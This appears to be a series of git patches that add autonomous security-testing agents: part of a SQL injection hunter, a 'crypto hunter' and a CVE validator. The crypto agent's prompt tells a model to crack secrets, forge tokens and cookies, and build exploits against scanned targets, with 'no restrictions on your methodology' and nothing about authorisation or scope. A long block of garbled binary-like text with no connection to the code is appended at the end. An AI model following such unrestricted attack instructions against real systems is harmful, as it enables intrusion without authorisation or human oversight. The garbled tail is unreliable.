console.print(f" Total confirmed: {confirmed_count}") - console.print(f" Successful data extraction: {data_extracted_count}") + dn.log_metric("union_findings", sqli_count) except Exception as e: - console.print(f"Error: {e}") + console.print(f"Error analyzing findings file: {e}") + +async def main() -> None: + parser = argparse.ArgumentParser(description="Union-based SQL injection vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for union-based SQL injection vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze SQL injection findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() if __name__ == "__main__": asyncio.run(main()) \ No newline at end of file From d64cbd0e024e77cb2e27f661e3216d94b26a6efe Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Mon, 8 Sep 2025 14:55:37 -0400 Subject: [PATCH 59/60] feat: crypto artifact agent --- examples/agents/session_hunter/__init__.py | 0 examples/agents/session_hunter/agent.py | 511 +++++++++++++++++++++ 2 files changed, 511 insertions(+) create mode 100644 examples/agents/session_hunter/__init__.py create mode 100644 examples/agents/session_hunter/agent.py diff --git a/examples/agents/session_hunter/__init__.py b/examples/agents/session_hunter/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/session_hunter/agent.py b/examples/agents/session_hunter/agent.py new file mode 100644 index 00000000..f4434043 --- /dev/null +++ b/examples/agents/session_hunter/agent.py @@ -0,0 +1,511 @@ +import argparse +import asyncio +import json +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.oast.tool import OastTool + +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +dn.configure(server=None, token=None, project="crypto-hunter-agent", console=False) + +console = Console() + + +@dn.task(name="Analyze Crypto Finding", label="analyze_crypto_finding") +async def analyze_crypto_finding(crypto_event: dict[str, t.Any]) -> dict[str, t.Any]: + """Analyze cryptographic product finding using autonomous agent.""" + + description = crypto_event.get("data", {}).get("description", "") + url = crypto_event.get("data", {}).get("url", "") + host = crypto_event.get("host", "") + + console.print(f"[cyan]Crypto Hunter analyzing cryptographic finding...[/cyan]") + console.print(f"Host: {host}") + console.print(f"URL: {url}") + console.print(f"Finding: {description}") + + # Create autonomous crypto hunter agent + try: + agent = create_crypto_hunter_agent() + except Exception as e: + console.print(f"[red]Error creating agent: {e}[/red]") + return { + "error": f"Agent creation failed: {e}", + "event_id": crypto_event.get("id"), + "host": host, + "url": url + } + + # Let the agent autonomously analyze the cryptographic vulnerability + analysis_task = f""" + I've discovered a cryptographic security finding on {host}: + + URL: {url} + Finding Description: {description} + + This could involve session cookies, JWT tokens, API keys, encryption keys, or other cryptographic products. + + You MUST use the available tools to perform hands-on analysis: + + 1. Identify the specific cryptographic product type and implementation + 2. Use http_request tool to extract and analyze cryptographic artifacts (cookies, tokens, keys, etc.) + 3. Use curl tool to test different endpoints and gather more data + 4. Use hashcat tool if you find hashes or secrets to crack + 5. Test for common cryptographic weaknesses using your tools + 6. Develop proof-of-concept exploits demonstrating the security impact + 7. Assess the full scope of potential compromise + + START by immediately using the http_request or curl tools to gather data from the finding URL. Don't just analyze theoretically - actively investigate using tools! + """ + + dn.log_input("system_prompt_and_event", { + "system_prompt": analysis_task, + "event": crypto_event + }) + + try: + result = await agent.run(analysis_task) + + console.print("="*80) + + for i, message in enumerate(result.messages, 1): + role_color = { + "system": "dim", + "user": "green", + "assistant": "cyan", + "tool": "yellow" + }.get(message.role, "white") + + console.print(f"\n[{role_color}]Message {i} ({message.role.upper()}):[/{role_color}]") + + if message.role == "assistant" and message.tool_calls: + console.print(f"[{role_color}]Agent Response:[/{role_color}] {message.content}") + console.print(f"[bold {role_color}]Tool Calls:[/bold {role_color}]") + for tool_call in message.tool_calls: + console.print(f" - {tool_call.function.name}({tool_call.function.arguments})") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + console.print(f"[{role_color}]Tool '{tool_name}' Output:[/{role_color}]") + console.print(f" {message.content[:200]}{'...' if len(message.content) > 200 else ''}") + else: + if message.role == "assistant": + console.print(f"[{role_color}]{message.content or 'No content'}[/{role_color}]") + else: + content_preview = message.content[:300] if message.content else "No content" + console.print(f"[{role_color}]{content_preview}{'...' if len(message.content) > 300 else ''}[/{role_color}]") + + console.print("\n" + "="*80) + console.print(f"[bold]Agent Steps:[/bold] {result.steps}") + console.print(f"[bold]Token Usage:[/bold] {result.usage}") + + # Capture the full agent analysis from all assistant messages + analysis_parts = [] + for message in result.messages: + if message.role == "assistant" and message.content: + analysis_parts.append(message.content) + + analysis_result = "\n\n".join(analysis_parts) if analysis_parts else "No analysis provided" + + verdict = extract_verdict_from_analysis(analysis_result, crypto_event) + + # Log metrics (now within task context) + dn.log_metric("crypto_finding_analyzed", 1) + if "critical" in analysis_result.lower() or "vulnerable" in analysis_result.lower(): + dn.log_metric("critical_vulnerabilities", 1) + + # Extract tool usage like other agents + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content[:200] + "..." if len(message.content) > 200 else message.content + + final_result = { + "event_id": crypto_event.get("id"), + "host": host, + "url": url, + "has_vulnerability": verdict.get("vulnerable", False), + "severity": verdict.get("severity", "unknown"), + "key_findings": verdict.get("key_findings", []), + "agent_analysis": analysis_result, + "verdict": verdict, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "original_event": crypto_event, + "timestamp": crypto_event.get("timestamp") + } + + console.print(f"\n[bold green]AUTONOMOUS ANALYSIS COMPLETE[/bold green]") + console.print(f"[bold]Final Verdict:[/bold] [{'red' if verdict.get('severity') == 'critical' else 'yellow'}]{verdict.get('severity', 'unknown').upper()}[/]") + console.print(f"[bold]Vulnerable:[/bold] {verdict.get('vulnerable')}") + console.print(f"[bold]Key Findings:[/bold] {', '.join(verdict.get('key_findings', []))}") + console.print(f"[bold]Assessment Type:[/bold] {verdict.get('finding_type')}") + + dn.log_output("analysis", analysis_result) + + return final_result + + except Exception as e: + console.print(f"[red]Error in autonomous analysis: {e}[/red]") + return { + "error": f"Agent analysis failed: {e}", + "event_id": crypto_event.get("id"), + "host": host, + "url": url + } + + +def extract_verdict_from_analysis(analysis: str, event: dict) -> dict[str, t.Any]: + """Extract structured verdict from agent's autonomous analysis.""" + + analysis_lower = analysis.lower() + + severity = "low" + vulnerable = False + + if any(word in analysis_lower for word in ["critical", "severe", "high risk", "exploitable"]): + severity = "critical" + vulnerable = True + elif any(word in analysis_lower for word in ["medium", "moderate", "concerning"]): + severity = "medium" + vulnerable = "vulnerable" in analysis_lower or "exploitable" in analysis_lower + elif any(word in analysis_lower for word in ["low", "minor", "informational"]): + severity = "low" + + findings = [] + if "secret" in analysis_lower and ("cracked" in analysis_lower or "discovered" in analysis_lower): + findings.append("Session secret compromised") + if "forge" in analysis_lower or "craft" in analysis_lower: + findings.append("Session forgery possible") + if "bypass" in analysis_lower and "auth" in analysis_lower: + findings.append("Authentication bypass possible") + + return { + "finding_type": "cryptographic_analysis", + "host": event.get("host"), + "url": event.get("data", {}).get("url"), + "severity": severity, + "vulnerable": vulnerable, + "autonomous_analysis": True, + "key_findings": findings, + "agent_assessment": analysis, + "timestamp": event.get("timestamp") + } + +def create_crypto_hunter_agent() -> Agent: + """Create an autonomous crypto hunter agent with full tool access.""" + tools = [BBotTool(), KaliTool(), OastTool()] + + return Agent( + name="crypto-hunter-agent", + description="Autonomous agent for analyzing cryptographic vulnerabilities across all implementations", + model="gpt-4-turbo", + tools=tools, + max_steps=10, + instructions="""You are an elite cryptographic security researcher with expertise across all cryptographic implementations and protocols. + +You have complete autonomy to analyze ANY type of cryptographic vulnerability using creative methods and all available tools. Be innovative, thorough, and think like an advanced cryptographic attacker. + +CRYPTOGRAPHIC EXPERTISE AREAS: +- Session management (Express.js, Django, Rails, PHP, .NET, etc.) +- JSON Web Tokens (JWT) and OAuth implementations +- API keys and authentication tokens +- Encryption keys and cipher implementations +- Certificate and PKI vulnerabilities +- Cryptographic libraries and frameworks +- Custom crypto implementations + +CAPABILITIES & APPROACH: +- Use BBotTool for additional reconnaissance and cryptographic artifact discovery +- Use KaliTool for hashcat password cracking, HTTP testing, and cryptanalysis +- Use OastTool for out-of-band testing and callback verification +- Create your own cryptanalysis tools, wordlists, and attack vectors +- Develop novel approaches to cryptographic analysis +- Explore timing attacks, side channels, and implementation flaws + +AUTONOMOUS ANALYSIS METHODOLOGY: +1. Cryptographic Product Identification: + - Analyze the specific crypto product type and implementation + - Identify algorithms, key derivation methods, and encoding formats + - Reverse-engineer custom implementations + +2. Weakness Discovery: + - Test for weak/default secrets and keys + - Analyze randomness and entropy issues + - Look for algorithm downgrade attacks + - Test padding oracle and timing vulnerabilities + +3. Exploitation Development: + - Craft cryptographic exploits and proof-of-concepts + - Forge tokens, cookies, and signatures + - Demonstrate key recovery attacks + - Test real-world attack scenarios with browser automation + +4. Advanced Cryptanalysis: + - Side-channel attacks on crypto operations + - Fault injection and implementation attacks + - Mathematical weaknesses in custom crypto + - Protocol-level vulnerabilities + +5. Impact Assessment: + - Demonstrate full scope of compromise + - Test authentication and authorization bypass + - Document data exposure risks + - Provide remediation guidance + +When you find CONFIRMED cryptographic vulnerabilities, store them using Neo4jTool.store_crypto_finding(host, vulnerability_type, risk_level, affected_component, technical_details). + +Be completely autonomous and creative. Use any approach you deem effective - there are no restrictions on your methodology. Your goal is to provide comprehensive cryptographic security intelligence.""", + ) + +def is_crypto_finding(event: dict[str, t.Any]) -> bool: + """Check if a BBOT event is a cryptographic finding.""" + if event.get("type") != "FINDING": + return False + + description = event.get("data", {}).get("description", "").lower() + + return ( + "cryptographic product" in description or + "jwt" in description or + "json web token" in description or + ("session" in description and "cookie" in description) or + "api key" in description or + "secret key" in description or + "encryption key" in description or + "signing key" in description or + ("certificate" in description and ("weak" in description or "expired" in description)) or + "oauth" in description or + "openid connect" in description or + "bearer token" in description or + ("hash" in description and ("weak" in description or "collision" in description)) + ) + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for cryptographic vulnerabilities using autonomous agent analysis.""" + + with dn.run(): + if isinstance(targets, Path): + with targets.open() as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided.") + return + + hunt_input = { + "targets": targets, + "scan_config": { + "presets": presets, + "modules": modules, + "flags": flags, + "config": str(config) if config else None + } + } + dn.log_input("hunt_parameters", hunt_input) + + console.print(f"Starting autonomous crypto hunting on {len(targets)} targets...") + + crypto_findings_analyzed = 0 + critical_findings = 0 + findings = [] + + tool = BBotTool() + + scan_modules = modules or ["httpx", "badsecrets", "secretsdb", "cookies"] + for required_module in ["badsecrets", "secretsdb"]: + if required_module not in scan_modules: + scan_modules.append(required_module) + + for target in targets: + try: + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + if is_crypto_finding(event): + console.print(f"Found crypto finding: {event.get('data', {}).get('host')}") + + try: + analysis_result = await analyze_crypto_finding(event) + crypto_findings_analyzed += 1 + + if analysis_result.get("has_vulnerability"): + critical_findings += 1 + + # Store finding like other agents + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "finding_type": "crypto_vulnerability", + "severity": analysis_result["severity"], + "key_findings": analysis_result["key_findings"], + "analysis": analysis_result["agent_analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": analysis_result["timestamp"], + } + + findings.append(security_finding) + dn.log_output(f"crypto_finding_{analysis_result['host']}", security_finding) + console.print(f"[green]Crypto vulnerability confirmed on {analysis_result['host']}[/green]") + else: + console.print(f"No exploitable crypto vulnerability on {event.get('host')}") + + except Exception as e: + console.print(f"Error in autonomous crypto analysis: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("crypto_findings_analyzed", crypto_findings_analyzed) + dn.log_metric("critical_vulnerabilities", critical_findings) + if findings: + dn.log_output("findings", findings) + + console.print(f"Hunt Summary:") + console.print(f" Crypto findings analyzed: {crypto_findings_analyzed}") + console.print(f" Critical vulnerabilities: {critical_findings}") + +async def analyze_finding_file(finding_file: Path) -> None: + """Analyze BBOT findings from JSON/JSONL file using autonomous agent.""" + + with dn.run(): + dn.log_input("finding_file", str(finding_file)) + + console.print(f"Analyzing finding file: {finding_file}") + + crypto_findings = [] + total_events = 0 + + try: + with finding_file.open() as f: + for line_num, line in enumerate(f, 1): + line = line.strip() + if not line: + continue + + try: + finding_data = json.loads(line) + total_events += 1 + + if is_crypto_finding(finding_data): + crypto_findings.append(finding_data) + + except json.JSONDecodeError as e: + console.print(f"[yellow]Skipping invalid JSON on line {line_num}: {e}[/yellow]") + continue + + console.print(f"Found {len(crypto_findings)} cryptographic findings out of {total_events} total events") + + if not crypto_findings: + console.print("No cryptographic findings detected in this file.") + return + + for i, finding_data in enumerate(crypto_findings, 1): + console.print(f"\n[cyan]--- Analyzing Crypto Finding {i}/{len(crypto_findings)} ---[/cyan]") + + analysis_result = await analyze_crypto_finding(finding_data) + + console.print(f"\n[bold]Autonomous Crypto Analysis Results:[/bold]") + verdict = analysis_result.get("verdict", {}) + console.print(f"Host: {verdict.get('host')}") + console.print(f"URL: {verdict.get('url')}") + console.print(f"Severity: {verdict.get('severity', 'unknown').upper()}") + console.print(f"Vulnerable: {verdict.get('vulnerable')}") + console.print(f"Key Findings: {', '.join(verdict.get('key_findings', []))}") + + if i < len(crypto_findings): + console.print("\n" + "="*50) + + dn.log_metric("total_events", total_events) + dn.log_metric("crypto_findings_found", len(crypto_findings)) + + except Exception as e: + console.print(f"Error analyzing finding file: {e}") + dn.log_output("error", str(e)) + +async def main() -> None: + parser = argparse.ArgumentParser(description="Crypto Hunter - Autonomous cryptographic vulnerability analyzer") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for crypto vulnerabilities using autonomous agent") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze a single BBOT finding with autonomous agent") + analyze_parser.add_argument("finding_file", type=Path, help="Path to BBOT finding JSON file") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file) + else: + parser.print_help() + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file From 3aae65c0d1d036cc4a05b28cf7707fe7fdaacfad Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Tue, 9 Sep 2025 11:25:27 -0400 Subject: [PATCH 60/60] feat: cvevalidator agent --- examples/agents/cve_validator/__init__.py | 1 + examples/agents/cve_validator/agent.py | 287 ++++++++++++++++++++++ 2 files changed, 288 insertions(+) create mode 100644 examples/agents/cve_validator/__init__.py create mode 100644 examples/agents/cve_validator/agent.py diff --git a/examples/agents/cve_validator/__init__.py b/examples/agents/cve_validator/__init__.py new file mode 100644 index 00000000..283ec975 --- /dev/null +++ b/examples/agents/cve_validator/__init__.py @@ -0,0 +1 @@ +# CVE Validator Agent \ No newline at end of file diff --git a/examples/agents/cve_validator/agent.py b/examples/agents/cve_validator/agent.py new file mode 100644 index 00000000..ec2a0274 --- /dev/null +++ b/examples/agents/cve_validator/agent.py @@ -0,0 +1,287 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool +from dreadnode.agent.tools.oast.tool import OastTool + +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +dn.configure(project="cve-validator-agent") + +console = Console() + + +@dn.task(name="Validate CVE", label="validate_cve", log_output=True) +async def validate_cve_finding(finding_data: dict) -> dict: + """Validate a CVE finding for exploitability.""" + + host = finding_data.get('host', '') + description = finding_data.get('data', {}).get('description', '') + cve_id = extract_cve_from_description(description) + + console.print(f"[cyan]Validating CVE finding for: {host}[/cyan]") + console.print(f"CVE: {cve_id}") + console.print(f"Description: {description}") + + dn.log_input("finding_data", finding_data) + dn.log_input("cve_id", cve_id) + dn.log_input("target_host", host) + + try: + agent = create_cve_validator_agent() + + analysis_task = f""" + Validate the CVE {cve_id} on target {host}. + + IMPORTANT: You must first lookup the actual CVE details from authoritative sources. + + Your task: + 1. Use http_request to query CVE databases. Try these sources in order: + - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId={cve_id} (NVD API) + - https://cveawg.mitre.org/api/cve/{cve_id} (MITRE API) + - https://cve.circl.lu/api/cve/{cve_id} (CIRCL API) + 2. Parse the JSON response to extract CVE description, affected software, and attack vectors + 3. Based on the ACTUAL CVE details, determine if this vulnerability applies to the target + 4. If applicable, use appropriate tools to probe the target for this specific vulnerability + 5. If exploitable, store the finding using store_cve_finding + + DO NOT rely on training data for CVE details - always lookup the CVE first using APIs. + Be thorough in your testing and provide clear evidence for your conclusion. + """ + + result = await agent.run(analysis_task) + + tool_outputs = {} + tools_used = [] + analysis_parts = [] + + if hasattr(result, 'messages') and result.messages: + for message in result.messages: + if message.role == "assistant" and message.content: + analysis_parts.append(message.content) + console.print(f"[yellow]Agent analysis:[/yellow] {message.content}") + elif message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tools_used.append(tool_call.function.name) + console.print(f"[blue]Tool call:[/blue] {tool_call.function.name}") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + console.print(f"[green]Tool output from {tool_name}:[/green] {message.content[:200]}...") + dn.log_output(f"tool_output_{tool_name}", message.content) + + finding_stored = "store_cve_finding" in tools_used + is_exploitable = finding_stored + + if result.messages and result.messages[-1].content: + final_analysis = result.messages[-1].content.lower() + is_exploitable = is_exploitable or any( + phrase in final_analysis + for phrase in [ + "exploitable", + "vulnerable", + "confirmed", + "successfully exploited" + ] + ) + + analysis_result = "\n\n".join(analysis_parts) if analysis_parts else "CVE validation completed" + + dn.log_metric("cve_validated", 1) + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("is_exploitable", 1 if is_exploitable else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + + console.print(f"[green]Validation complete for {cve_id} on {host}[/green]") + console.print(f"Exploitable: {is_exploitable}") + console.print(f"Tools used: {len(tools_used)}") + console.print(f"Stored in DB: {finding_stored}") + + return { + "host": host, + "cve_id": cve_id, + "is_exploitable": is_exploitable, + "analysis": analysis_result, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "stored_in_db": finding_stored, + "original_finding": finding_data, + "timestamp": time.time() + } + + except Exception as e: + console.print(f"[red]Error validating CVE {cve_id} on {host}: {e}[/red]") + return {"error": str(e), "host": host, "cve_id": cve_id} + + +def extract_cve_from_description(description: str) -> str: + """Extract CVE ID from description.""" + import re + cve_match = re.search(r'CVE-\d{4}-\d+', description) + return cve_match.group(0) if cve_match else "UNKNOWN-CVE" + + +def create_cve_validator_agent() -> Agent: + """Create a CVE validation agent.""" + tools = [KaliTool(), Neo4jTool(), BBotTool(), OastTool()] + + return Agent( + name="cve-validator-agent", + description="Validates CVE findings for exploitability", + model="gpt-4-turbo", + tools=tools, + max_steps=10, + instructions="""You are a security researcher specializing in CVE validation and exploitation. + +Your job is to: +- Lookup actual CVE details from authoritative sources (NEVER rely on training data) +- Use available tools to probe targets for specific CVE vulnerabilities +- Determine if targets are exploitable based on evidence +- Store confirmed exploitable findings in Neo4j + +Available tools: +- http_request: Make HTTP requests to CVE databases and target systems +- curl: Test endpoints with specific CVE payloads +- store_cve_finding: Store confirmed CVE exploits in Neo4j +- nmap: Port scanning and service detection +- dig_dns_lookup: DNS queries for reconnaissance + +Be systematic in your approach: +1. FIRST: Use http_request to lookup CVE details from APIs: + - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-XXXX-XXXX (NVD API) + - https://cveawg.mitre.org/api/cve/CVE-XXXX-XXXX (MITRE API) + - https://cve.circl.lu/api/cve/CVE-XXXX-XXXX (CIRCL API) +2. Parse JSON response to get accurate CVE description and affected software +3. Based on ACTUAL CVE data, determine if vulnerability applies to target +4. If applicable, craft appropriate test requests/payloads +5. Analyze responses for vulnerability indicators +6. Only mark as exploitable with clear evidence +7. Store findings when exploitation is confirmed + +CRITICAL: Always lookup CVE details first using APIs - do not guess or use training data.""", + ) + + +async def validate_from_file(findings_file: Path) -> None: + """Validate CVEs from a file of findings.""" + + if not findings_file.exists(): + console.print(f"Error: File {findings_file} not found") + return + + findings = [] + with findings_file.open() as f: + for line in f: + line = line.strip() + if line and not line.startswith('#'): + try: + finding = json.loads(line) + findings.append(finding) + except json.JSONDecodeError: + console.print(f"[yellow]Skipping invalid JSON line: {line[:50]}...[/yellow]") + + if not findings: + console.print("No valid findings found in file") + return + + console.print(f"Validating CVEs for {len(findings)} findings...") + + with dn.run("cve-validation-batch"): + results = [] + for i, finding in enumerate(findings, 1): + console.print(f"\n[{i}/{len(findings)}] Processing finding...") + result = await validate_cve_finding(finding) + results.append(result) + + successful = len([r for r in results if "error" not in r]) + exploitable = len([r for r in results if r.get("is_exploitable")]) + stored = len([r for r in results if r.get("stored_in_db")]) + + dn.log_metric("total_findings", len(findings)) + dn.log_metric("successful_validations", successful) + dn.log_metric("exploitable_cves", exploitable) + dn.log_metric("stored_findings", stored) + + console.print(f"\n[bold]Validation Summary:[/bold]") + console.print(f" Findings processed: {len(findings)}") + console.print(f" Successful validations: {successful}") + console.print(f" Exploitable CVEs: {exploitable}") + console.print(f" Stored in DB: {stored}") + + +async def main() -> None: + parser = argparse.ArgumentParser(description="CVE Validation Agent") + subparsers = parser.add_subparsers(dest="command") + + # Validate from file + file_parser = subparsers.add_parser("validate", help="Validate CVEs from findings file") + file_parser.add_argument("findings_file", type=Path, help="JSON file containing findings (one per line)") + + # Single finding validation + single_parser = subparsers.add_parser("analyze", help="Analyze single finding") + single_parser.add_argument("finding_json", help="JSON string of finding to analyze") + + args = parser.parse_args() + + if args.command == "validate": + await validate_from_file(args.findings_file) + elif args.command == "analyze": + try: + finding = json.loads(args.finding_json) + with dn.run("single-cve-validation"): + result = await validate_cve_finding(finding) + if "error" not in result: + console.print(f"[green]✓[/green] Validation complete") + else: + console.print(f"[red]✗[/red] {result['error']}") + except json.JSONDecodeError: + console.print("[red]Error: Invalid JSON provided[/red]") + else: + parser.print_help() + + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file

    j@USMsUn)5xc(kJ`u9 zN8@AX)7Ix+>eHxKQBqX3=o-;>@yrT95oy>oHm>>oHLv^ zTr^xVTsB-WTs2%XTsPb>{9?FixNYDKftak{QuHaiQYr@QPFbI_GG%qjrj)HI_fkwL_fsCETuUiQ*`IPHOKvNZunSyJU#)Rh)=>NpbGQ-D#~0yC z@TGVGz6>wKm*Xq&Rrnfw9ljplh;PQX;9K!+_;!2;z7yYt@5cAwd+{Q?7%##1;rsCe z_(A*-ei%Q3AH|R1$MF;RN&FOk8b5=d#n0jA@eBAx{1Sc{zk*-Iui@A68~88yP5c&q z8|QHW&VY#D!ATp(M%?D#D5= zPgEc(5|xO`L=~bc(aUSH*F>)Xul`={UcO!{y;R;+yeE4v_h!A1d7trC`J|+1Q}m&4 zLO)G=6ZN{| zk82(`CT?ilsJP%bI!+%)#p&Xhxcs=qaU0^c$1ROJA9p40NZg~i7jfm{U&Ymmw~M!q z?-WlP-*X?iPu%kuWo(t$_c2zn@ zHbh&(o@ht3ClI0o(UEWvG(VrMV3?v2-gNY%; zP+}M{oESljBt{XV33v|()E z(T>q0qlZO%L`Ou&N6(6$p!L>zYKP4Y)JAE;wei|iZL;=6%$=By8FSEdREN$(=c4n` zEHnqrMNt$-F_c1SltCAxOVE|*3UoEP3SEn?LpPwC&@JdzbQ`)I-GS~xccXjJ{pexz z2znGfh8{;xpeNDO=o$1ZdI7zNUP7;+m(gqJFX&D57RsX{dI!CSn$QO*oPnn^h%h3Y zh#(?~C}JLwO)MZVf+Q9bg~W1V1+kJ?MXV;)5NnBb#Cl=_v60wBY$mo4TZwJNc47yy zlh{Syf4;xl0; zBm$5!QcfyJC0UMCkyhk=^db5LeTu$BU!kwjx9EHH6Z#pI;4R|hm4i*>*{Vx6!qSXZnY)(h){^~DBYov}gK zU~C9B92VosO~=8CytWN)$$*_Z4`_9q9B1Ia<;U~&jKlpID5C!s1q zjwDBsqe(~7i5x>ZlP;tyIgT7pP9WXMiKGWPiJT0N$nYe+NN>`IoJ#tWkz^bhPbQMd zWEwe(%p|)fbWLzhIK?d`!xA!LvSaiyWXzJ7U!rbBwT-sn)Lcuh71x?;!?oo)aviuX zTsN*O*PZLZ_2K$+1Gqul5N;?pj2q64TMemPZAH6PmUvx?I#pn~!LbNIRZnPNv zF#2A!BIbGYr)Vj&Xq|MsgFmncPBdCAX2=$sOcQau>Oq+(Ygq zi^yWKgxp8&Cl8PZ$wTB}@(6j9JVqWTPmm|cQ{-v#40)D3N1i7ykQd2IJ|>@#PswNGbMgiGl6*zJCf|^6 z$#>*?vQbR07 zM#Icc8Kw+##K%aTQjA0O5K#k zDK;tU6irI=lolziQd*{TNU4<4Ib~qVkd)CWE-67N;VH8+PhvYdQ*Ll&f$R`#NONjzvbh=x5X!`VYZF)j_QhH)~ zVR}~jy!2J+Z2GeF#px^3_36vgx1{e+-<*CjeO>yF^!4d$(~qQ|O5c=zKmB?7i}c6o zFVjz_*V6rx{wn=u`sMU9=?a~d?p=C$T}53LT?Jh;T~D30PNQq5YpCm^8>Z`|>!53; z>#FOkOVg=!Gj++jM4gu|OgBn5T{lnXs`J$)>89%3b$&X%Zmq6RcUA{y;N?WhgPKH5 zrlwGylo#bq`B1*pRLYO?rvj)zDu@cELZ}F87L`e5QP~tqVH8OfP|K+m)JkdvmyW@JW99Izk<#PEaSQQ`BkdEOnl`KwYFRQCFy| z)HUiloPitEFVroHrvyr*?ojtA6Lp_@Ks}2kD+KB&vk&C#va;ksG6mAX5+Rl3c(jk;sHbGqHSGrA((QQbA&1Klm% z6J6bmS{Y_t#f(N7wi(?sdS!Ic4$uzL4%Svr`;hQCp?snuQJGjLv0`GI#A=B{6T2n0 zPHd3aF0n(RO`;~zF3};ePoj0=gv5!7gA=0@MLyi6f-~^S zimpIcq$|;t=_+(px;kBhu1VLX>(F)SdUSod0o{;pL^r0J(AKmKZA+_ZJ6c0Gr(4i1 z=~i@Wx((fywx`?C2;G5ppgYl>=`M6vx*Oe{?m_pa`_O&qe)JG}1U-@-MLW`CXcyX* z9!rm-$I}yNcX}fIS@NJK(Ua*Zv?uLFd(%F&FFlp^qy6asI*<;cgXs`Dl%7UUr)SV% zbT}PBN77MrG#x|7(s6V=oj@njO_N$DHBai6)IX_Tk~vkDCQnnQJxU#vVVkB-YnEo8 z);_IeTAQ?PX+6^%(mJK}NgI?lJZ)r}Q`*Ed&$Pg_N#c?gC2dIBm9#slIO$N*@uU+;hm#H@T}m<~O;0QI->W^Ty`a6L zy{)~gy{~Zi5okuUA^)yOj zw1LKHf+lH-rfG&|X^uA13+a4%5xtmRLNBEY=w);vy_{Y_ucTMetLZiLT6!J5p58!j 